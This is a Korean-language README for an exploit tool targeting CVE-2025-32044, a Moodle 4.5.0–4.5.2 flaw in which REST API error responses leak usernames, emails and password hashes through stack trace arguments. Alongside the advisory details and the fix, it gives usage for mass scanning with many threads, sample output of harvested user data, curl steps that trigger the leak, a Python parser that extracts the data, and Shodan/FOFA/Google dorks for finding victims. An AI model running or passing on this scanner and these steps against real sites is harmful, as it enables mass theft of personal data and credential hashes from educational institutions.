
Moodle 4.5.0-4.5.2 스택 트레이스 인수 누출로 인한 비인증 REST API 사용자 데이터 노출 | CVSS 7.5
CVE-2025-32044는 Moodle LMS 4.5.0~4.5.2에 존재하는 심각도가 높은(CVSS 7.5) 비인증 정보 공개 취약점입니다.
이 취약점은 Moodle REST API 예외 처리기 — lib/classes/router/response/exception_response.php의 exception_response::get_payload_data() — 에 존재합니다. 수정 전에는 함수 인자가 포함된 PHP 스택 트레이스가 API 오류 응답에 포함되었습니다. 이 인자에는 호출 스택을 통해 전달되는 민감한 사용자 데이터(사용자 이름, 전체 이름, 이메일 주소, 비밀번호 해시)가 포함되어 있습니다.
누출을 유발하는 데 인증, 토큰, 사용자 상호 작용이 필요하지 않습니다. 공격자는 내부 예외를 발생시키는 잘못된 요청을 REST API 엔드포인트에 보내기만 하면 됩니다.
| Moodle 버전 | 상태 |
|---|---|
| 4.5.0 – 4.5.2 | 취약함 |
| 4.5.3+ | 패치됨 |
| < 4.5.0 | 영향 없음 |
zend.exception_ignore_args = On이 설정된 모든 버전 | 영향 없음 |
발견자: Lucas Alonso (2025년 3월 14일)
Moodle 트래커: MDL-84879
권고: MSA-25-0011
// lib/classes/router/response/exception_response.php (수정 전)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← includes 'args'!
];
return $data;
}
REST API 처리 중 예외가 발생하면 PHP 스택 트레이스에는 호출 스택의 각 프레임에 대한 함수 인자(args)가 포함됩니다. 이 인자에는 호출 체인 상위에 있는 함수들이 처리 중이던 사용자 테이블 데이터가 의도치 않게 포함됩니다.
// lib/classes/router/response/exception_response.php (수정 후)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
또한 lib/setup.php에는 심층 방어가 추가되었습니다:
ini_set('zend.exception_ignore_args', '1');
1. Target Moodle 4.5.0-4.5.2 without zend.exception_ignore_args
2. Send malformed request to /webservice/rest/server.php
(e.g., core_user_get_users_by_field with missing required params)
3. Internal exception triggered during user data processing
4. API error response includes stack trace with 'args'
5. Parse args for usernames, emails, hashes
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Single target scan
python cve_2025_32044.py -t moodle.target.com
# Mass scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Mass scan with more threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Debug mode
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save leaked user data to file
--threads Concurrent workers (default: 30)
--timeout Request timeout in seconds (default: 10)
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2025_32044.py -t moodle-target.com
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : YES v4.5.1
WS Enabled : YES
Token : obtained (admin)
═══ DATA LEAKED ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
Emails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Time : 3.2s
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Targets: 500 | Threads: 30 | Mode: QUIET
[LEAK] moodle-vuln-01.ac.id users=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Det:87 WS:32 Tok:8 Leak:5
───────────────────────────────────────────────────────
Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5
1단계 — Moodle 및 웹 서비스 탐지
# Check if Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Check web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS enabled + maybe guest access
# {"error":"Web services must be enabled..."} = WS disabled
2단계 — 토큰 얻기(가능한 경우)
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'
3단계 — 예외 유발 및 유출 데이터 수집
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Response will contain stacktrace with args if vulnerable
4단계 — 유출된 데이터 파싱
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
성공적인 악용 시 다음 정보가 노출됩니다:
교육 및 승인된 테스트 목적으로만 사용하십시오.
이 소프트웨어는 승인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 취약점 악용을 연구하는 연구자를 위해 제작되었습니다.
저자는 오용에 대한 책임을 지지 않습니다.
이 프로젝트는 Moodle Pty Ltd와 관련이 없습니다.
| 필드 | 출처 |
|---|
| 사용자 이름 | user 테이블 |
| 전체 이름 | firstname + lastname |
| 이메일 | email 열 |
| 비밀번호 해시 | bcrypt $2y$ / $2b$ 해시 |
| 마지막 로그인 IP | lastip 열 |
| 사용자 ID | id 열 |
| 리소스 | 링크 |
|---|
| Moodle 권고 MSA-25-0011 | moodle.org |
| Moodle 트래커 MDL-84879 | tracker.moodle.org |
| Git 커밋(수정) | github.com/moodle/moodle/commit/41917db65e6b |
| NVD 항목 | CVE-2025-32044 |
| 발견자 | Lucas Alonso |